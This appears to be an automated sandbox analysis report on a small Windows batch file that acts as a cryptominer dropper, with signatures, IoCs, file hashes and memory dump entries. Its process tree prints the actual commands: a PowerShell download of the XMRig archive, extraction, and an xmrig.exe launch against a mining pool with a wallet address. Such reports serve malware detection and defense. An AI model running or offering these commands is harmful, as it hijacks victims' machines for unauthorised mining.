Analysis

  • max time kernel
    1786s
  • max time network
    1785s
  • platform
    windows10-1703_x64
  • resource
    win10-20231215-en
  • resource tags

    arch:x64arch:x86image:win10-20231215-enlocale:en-usos:windows10-1703-x64system
  • submitted
    01/01/2024, 03:11

General

  • Target
    tesy - Copy (8).bat
  • Size 608B
  • Sample240101-dppkasdcf5
  • SHA256 97db0437ecb6f401a4674dceead7b17a885241f2ab2495652863d2240f3bedab
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • exe.dropper

    https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip

Signatures

  • XMRig Miner payload 50 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Blocklisted process makes network request 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (8).bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4236
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip', 'xmrig-6.21.0-gcc-win64.zip')"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:96
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'xmrig-6.21.0-gcc-win64.zip' -DestinationPath '.'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4272
    • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe
      xmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria2 --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:2728

Network

        MITRE ATT&CK Matrix

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        powershell.exe.log

        • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
        • Size 3KB
        • SHA256 c4089b4313f7b8b74956faa2c4e15b9ffb1d9e5e29ac7e00a20c48b8f7aef5e0
        • MD5 SHA1 SHA512

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 dfd42c106b63f3c9b71c63534478894846ca91754317a3f8bb8e1a787ce5bf35
        • MD5 SHA1 SHA512

        __PSScriptPolicyTest_3lxqtv01.y0i.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_3lxqtv01.y0i.ps1
        • Size 1B
        • SHA256 6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b
        • MD5 SHA1 SHA512

        xmrig-6.21.0-gcc-win64.zip

        • Path C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0-gcc-win64.zip
        • Size 33KB
        • SHA256 5be8f3a3d8fbb5ae228ff429bd498473013b13eb2bf949704ba2a2184bc5c57a
        • MD5 SHA1 SHA512 SSDEEP

        xmrig.exe

        • Path C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe
        • Size 19KB
        • SHA256 0a2bdbad23398666537cdc03ac946952d7064b7bd2be07173074c881b13ea800
        • MD5 SHA1 SHA512 SSDEEP

        memory/96-8-0x000001DAB3410000-0x000001DAB3420000-memory.dmp

        memory/96-6-0x00007FFD48660000-0x00007FFD4904C000-memory.dmp

        memory/96-28-0x000001DAB3410000-0x000001DAB3420000-memory.dmp

        memory/96-27-0x000001DAB3410000-0x000001DAB3420000-memory.dmp

        memory/96-26-0x00007FFD48660000-0x00007FFD4904C000-memory.dmp

        memory/96-29-0x000001DAB3410000-0x000001DAB3420000-memory.dmp

        memory/96-25-0x000001DAB3410000-0x000001DAB3420000-memory.dmp

        memory/96-34-0x00007FFD48660000-0x00007FFD4904C000-memory.dmp

        memory/96-4-0x000001DAB3450000-0x000001DAB3472000-memory.dmp

        memory/96-9-0x000001DAB3410000-0x000001DAB3420000-memory.dmp

        memory/96-10-0x000001DAB3700000-0x000001DAB3776000-memory.dmp

        memory/2728-143-0x00007FF685620000-0x00007FF686123000-memory.dmp

        memory/2728-150-0x00007FF685620000-0x00007FF686123000-memory.dmp

        memory/2728-188-0x00007FF685620000-0x00007FF686123000-memory.dmp

        memory/2728-187-0x00007FF685620000-0x00007FF686123000-memory.dmp

        memory/2728-186-0x00007FF685620000-0x00007FF686123000-memory.dmp

        memory/2728-185-0x00007FF685620000-0x00007FF686123000-memory.dmp

        memory/2728-120-0x000001EA232B0000-0x000001EA232D0000-memory.dmp

        memory/2728-184-0x00007FF685620000-0x00007FF686123000-memory.dmp

        memory/2728-121-0x000001EA232F0000-0x000001EA23310000-memory.dmp

        memory/2728-122-0x00007FF685620000-0x00007FF686123000-memory.dmp

        memory/2728-125-0x000001EA23330000-0x000001EA23350000-memory.dmp

        memory/2728-124-0x000001EA23310000-0x000001EA23330000-memory.dmp

        memory/2728-123-0x00007FF685620000-0x00007FF686123000-memory.dmp

        memory/2728-126-0x00007FF685620000-0x00007FF686123000-memory.dmp

        memory/2728-127-0x00007FF685620000-0x00007FF686123000-memory.dmp

        memory/2728-129-0x000001EA23330000-0x000001EA23350000-memory.dmp

        memory/2728-128-0x000001EA23310000-0x000001EA23330000-memory.dmp

        memory/2728-130-0x00007FF685620000-0x00007FF686123000-memory.dmp

        memory/2728-131-0x00007FF685620000-0x00007FF686123000-memory.dmp

        memory/2728-132-0x00007FF685620000-0x00007FF686123000-memory.dmp

        memory/2728-133-0x00007FF685620000-0x00007FF686123000-memory.dmp

        memory/2728-134-0x00007FF685620000-0x00007FF686123000-memory.dmp

        memory/2728-135-0x00007FF685620000-0x00007FF686123000-memory.dmp

        memory/2728-136-0x00007FF685620000-0x00007FF686123000-memory.dmp

        memory/2728-137-0x00007FF685620000-0x00007FF686123000-memory.dmp

        memory/2728-138-0x00007FF685620000-0x00007FF686123000-memory.dmp

        memory/2728-139-0x00007FF685620000-0x00007FF686123000-memory.dmp

        memory/2728-140-0x00007FF685620000-0x00007FF686123000-memory.dmp

        memory/2728-141-0x00007FF685620000-0x00007FF686123000-memory.dmp

        memory/2728-142-0x00007FF685620000-0x00007FF686123000-memory.dmp

        memory/2728-183-0x00007FF685620000-0x00007FF686123000-memory.dmp

        memory/2728-144-0x00007FF685620000-0x00007FF686123000-memory.dmp

        memory/2728-145-0x00007FF685620000-0x00007FF686123000-memory.dmp

        memory/2728-146-0x00007FF685620000-0x00007FF686123000-memory.dmp

        memory/2728-147-0x00007FF685620000-0x00007FF686123000-memory.dmp

        memory/2728-148-0x00007FF685620000-0x00007FF686123000-memory.dmp

        memory/2728-149-0x00007FF685620000-0x00007FF686123000-memory.dmp

        memory/2728-182-0x00007FF685620000-0x00007FF686123000-memory.dmp

        memory/2728-151-0x00007FF685620000-0x00007FF686123000-memory.dmp

        memory/2728-152-0x00007FF685620000-0x00007FF686123000-memory.dmp

        memory/2728-153-0x00007FF685620000-0x00007FF686123000-memory.dmp

        memory/2728-154-0x00007FF685620000-0x00007FF686123000-memory.dmp

        memory/2728-155-0x00007FF685620000-0x00007FF686123000-memory.dmp

        memory/2728-156-0x00007FF685620000-0x00007FF686123000-memory.dmp

        memory/2728-157-0x00007FF685620000-0x00007FF686123000-memory.dmp

        memory/2728-158-0x00007FF685620000-0x00007FF686123000-memory.dmp

        memory/2728-159-0x00007FF685620000-0x00007FF686123000-memory.dmp

        memory/2728-160-0x00007FF685620000-0x00007FF686123000-memory.dmp

        memory/2728-161-0x00007FF685620000-0x00007FF686123000-memory.dmp

        memory/2728-162-0x00007FF685620000-0x00007FF686123000-memory.dmp

        memory/2728-163-0x00007FF685620000-0x00007FF686123000-memory.dmp

        memory/2728-164-0x00007FF685620000-0x00007FF686123000-memory.dmp

        memory/2728-165-0x00007FF685620000-0x00007FF686123000-memory.dmp

        memory/2728-166-0x00007FF685620000-0x00007FF686123000-memory.dmp

        memory/2728-167-0x00007FF685620000-0x00007FF686123000-memory.dmp

        memory/2728-168-0x00007FF685620000-0x00007FF686123000-memory.dmp

        memory/2728-169-0x00007FF685620000-0x00007FF686123000-memory.dmp

        memory/2728-170-0x00007FF685620000-0x00007FF686123000-memory.dmp

        memory/2728-171-0x00007FF685620000-0x00007FF686123000-memory.dmp

        memory/2728-172-0x00007FF685620000-0x00007FF686123000-memory.dmp

        memory/2728-173-0x00007FF685620000-0x00007FF686123000-memory.dmp

        memory/2728-174-0x00007FF685620000-0x00007FF686123000-memory.dmp

        memory/2728-175-0x00007FF685620000-0x00007FF686123000-memory.dmp

        memory/2728-176-0x00007FF685620000-0x00007FF686123000-memory.dmp

        memory/2728-177-0x00007FF685620000-0x00007FF686123000-memory.dmp

        memory/2728-178-0x00007FF685620000-0x00007FF686123000-memory.dmp

        memory/2728-179-0x00007FF685620000-0x00007FF686123000-memory.dmp

        memory/2728-180-0x00007FF685620000-0x00007FF686123000-memory.dmp

        memory/2728-181-0x00007FF685620000-0x00007FF686123000-memory.dmp

        memory/4272-67-0x0000013C51EB0000-0x0000013C51EC0000-memory.dmp

        memory/4272-42-0x0000013C51EB0000-0x0000013C51EC0000-memory.dmp

        memory/4272-41-0x0000013C51EB0000-0x0000013C51EC0000-memory.dmp

        memory/4272-117-0x00007FFD48660000-0x00007FFD4904C000-memory.dmp

        memory/4272-80-0x0000013C52220000-0x0000013C52232000-memory.dmp

        memory/4272-40-0x00007FFD48660000-0x00007FFD4904C000-memory.dmp

        memory/4272-93-0x0000013C52090000-0x0000013C5209A000-memory.dmp